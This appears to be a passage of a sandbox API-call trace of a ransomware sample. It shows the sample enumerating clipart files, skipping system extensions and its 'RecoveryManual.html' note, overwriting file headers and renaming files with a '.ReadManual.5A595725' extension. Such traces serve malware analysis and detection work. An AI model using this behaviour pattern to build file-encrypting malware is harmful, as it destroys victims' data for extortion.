StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.725] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.725] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.725] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" [0268.725] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.ReadManual.5A595725" [0268.725] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.ReadManual.5A595725") returned 87 [0268.725] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38939347138) returned 1 [0268.725] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf")) returned 0x20 [0268.725] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.725] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5618) returned 1 [0268.725] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15f2, lpName=0x0) returned 0x184 [0268.725] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.726] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.726] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.728] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.728] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15f2) returned 0x2f0000 [0268.728] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.728] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38939693419) returned 1 [0268.728] CloseHandle (hObject=0x184) returned 1 [0268.728] SetSecurityInfo () returned 0x57 [0268.728] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.728] CloseHandle (hObject=0x194) returned 1 [0268.728] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1 [0268.729] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0216112.JPG" | out: lpString1="J0216112.JPG") returned="J0216112.JPG" [0268.729] lstrcmpiW (lpString1="J0216112.JPG", lpString2="RecoveryManual.html") returned -1 [0268.729] StrStrIW (lpFirst="J0216112.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.729] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0268.729] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0268.729] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0268.729] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0268.729] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0268.729] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0268.729] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0268.729] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0268.729] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0268.729] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0268.729] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0268.729] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0268.729] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0268.729] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0268.729] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" [0268.729] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.ReadManual.5A595725" [0268.729] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.ReadManual.5A595725") returned 87 [0268.729] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38939795328) returned 1 [0268.729] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg")) returned 0x20 [0268.729] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.730] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42883) returned 1 [0268.730] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa783, lpName=0x0) returned 0x184 [0268.730] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.730] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.731] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.732] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.732] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa783) returned 0x2f0000 [0268.734] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.734] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38940270650) returned 1 [0268.734] CloseHandle (hObject=0x184) returned 1 [0268.734] SetSecurityInfo () returned 0x57 [0268.734] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.734] CloseHandle (hObject=0x194) returned 1 [0268.734] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1 [0268.734] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0216153.JPG" | out: lpString1="J0216153.JPG") returned="J0216153.JPG" [0268.734] lstrcmpiW (lpString1="J0216153.JPG", lpString2="RecoveryManual.html") returned -1 [0268.734] StrStrIW (lpFirst="J0216153.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.734] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0268.734] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0268.734] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0268.734] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0268.735] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0268.735] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0268.735] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0268.735] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0268.735] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0268.735] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0268.735] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0268.735] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0268.735] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0268.735] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0268.735] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" [0268.735] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.ReadManual.5A595725" [0268.735] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.ReadManual.5A595725") returned 87 [0268.735] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38940371148) returned 1 [0268.735] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg")) returned 0x20 [0268.736] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.736] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21620) returned 1 [0268.736] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5474, lpName=0x0) returned 0x184 [0268.736] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.737] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.737] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.739] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.739] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5474) returned 0x2f0000 [0268.739] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.739] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38940799411) returned 1 [0268.739] CloseHandle (hObject=0x184) returned 1 [0268.739] SetSecurityInfo () returned 0x57 [0268.739] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.739] CloseHandle (hObject=0x194) returned 1 [0268.740] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1 [0268.740] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0216540.WMF" | out: lpString1="J0216540.WMF") returned="J0216540.WMF" [0268.740] lstrcmpiW (lpString1="J0216540.WMF", lpString2="RecoveryManual.html") returned -1 [0268.740] StrStrIW (lpFirst="J0216540.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.740] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.740] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.740] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" [0268.740] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.ReadManual.5A595725" [0268.740] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.ReadManual.5A595725") returned 87 [0268.740] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38940898354) returned 1 [0268.740] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf")) returned 0x20 [0268.740] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.741] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42120) returned 1 [0268.741] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa488, lpName=0x0) returned 0x184 [0268.741] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.741] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.742] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.743] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.744] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa488) returned 0x2f0000 [0268.745] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.745] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38941388664) returned 1 [0268.745] CloseHandle (hObject=0x184) returned 1 [0268.745] SetSecurityInfo () returned 0x57 [0268.745] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.745] CloseHandle (hObject=0x194) returned 1 [0268.745] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1 [0268.745] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0216570.WMF" | out: lpString1="J0216570.WMF") returned="J0216570.WMF" [0268.746] lstrcmpiW (lpString1="J0216570.WMF", lpString2="RecoveryManual.html") returned -1 [0268.746] StrStrIW (lpFirst="J0216570.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.746] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.746] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.746] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" [0268.746] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.ReadManual.5A595725" [0268.746] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.ReadManual.5A595725") returned 87 [0268.746] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38941489514) returned 1 [0268.746] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf")) returned 0x20 [0268.746] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.747] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24796) returned 1 [0268.747] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60dc, lpName=0x0) returned 0x184 [0268.747] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.748] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.748] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.750] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.750] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60dc) returned 0x2f0000 [0268.750] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.750] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38941915528) returned 1 [0268.750] CloseHandle (hObject=0x184) returned 1 [0268.750] SetSecurityInfo () returned 0x57 [0268.751] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.751] CloseHandle (hObject=0x194) returned 1 [0268.751] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1 [0268.751] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0216600.WMF" | out: lpString1="J0216600.WMF") returned="J0216600.WMF" [0268.751] lstrcmpiW (lpString1="J0216600.WMF", lpString2="RecoveryManual.html") returned -1 [0268.751] StrStrIW (lpFirst="J0216600.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.751] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.751] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.751] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" [0268.751] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.ReadManual.5A595725" [0268.751] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.ReadManual.5A595725") returned 87 [0268.751] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38942014898) returned 1 [0268.751] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf")) returned 0x20 [0268.752] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.752] 